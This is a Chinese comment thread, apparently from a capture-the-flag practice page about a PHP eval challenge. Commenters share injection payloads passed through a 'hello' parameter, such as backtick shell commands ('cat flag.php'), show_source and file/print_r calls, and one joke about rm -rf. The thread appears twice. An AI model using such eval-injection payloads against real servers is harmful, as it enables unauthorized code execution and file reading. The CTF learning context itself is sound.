flag = 'Too Young Too Simple';手动滑稽,注意eval哦!
得学一手PHP语言了
是因为eval函数可以将字符串当作代码执行,毕竟给了源码,所以呢可以构造payload,闭合之后执行读取flag的函数,比方使用show_source,print_r等等。
?hello=`vi flag.php`
哈哈哈,为什么不rm -rf呢
权限给的好像不大够
啊这
flag: Too Young Too Simple (滑稽
但凡英语不好好学都上当了
你个糟老头,坏的很
`cat flag.php`
这个题得好好学学
show_source('flag.php')
hello=1,$v=file('./flag.php'),print_r($v)
@LSYLTH 可以用hello读文件也可以不用,这里随便给hello赋了个值,之后定义了一个变量去读flag.php
这是怎么构造这个playload的呀
require 一般放在 PHP 文件的最前面,程序在执行前就会先导入要引用的文件; include 一般放在程序的流程控制中,当程序执行时碰到才会引用,简化程序的执行流程。 require 引入的文件有错误时,执行会中断,并返回一个致命错误; include 引入的文件有错误时,会继续执行,并返回一个警告。
...
评论
Angelafish 3年前
举报
flag = 'Too Young Too Simple';手动滑稽,注意eval哦!
13963065269 3年前
举报
得学一手PHP语言了
ikeike 3年前
举报
是因为eval函数可以将字符串当作代码执行,毕竟给了源码,所以呢可以构造payload,闭合之后执行读取flag的函数,比方使用show_source,print_r等等。
Rick 3年前
举报
?hello=`vi flag.php`
viphhs 3年前
举报
哈哈哈,为什么不rm -rf呢
scr20011125 3年前
举报
权限给的好像不大够
skysys 3年前
举报
啊这
permissiondog 3年前
举报
flag: Too Young Too Simple (滑稽
kato 3年前
举报
但凡英语不好好学都上当了
王曦之啊 3年前
举报
你个糟老头,坏的很
LDAx 3年前
举报
`cat flag.php`
sn1p3r 3年前
举报
这个题得好好学学
juice 3年前
举报
show_source('flag.php')
yyt123 3年前
举报
hello=1,$v=file('./flag.php'),print_r($v)
yyt123 3年前
举报
@LSYLTH 可以用hello读文件也可以不用,这里随便给hello赋了个值,之后定义了一个变量去读flag.php
LSYLTH 3年前
举报
这是怎么构造这个playload的呀
你看 3年前
举报
require 一般放在 PHP 文件的最前面,程序在执行前就会先导入要引用的文件; include 一般放在程序的流程控制中,当程序执行时碰到才会引用,简化程序的执行流程。 require 引入的文件有错误时,执行会中断,并返回一个致命错误; include 引入的文件有错误时,会继续执行,并返回一个警告。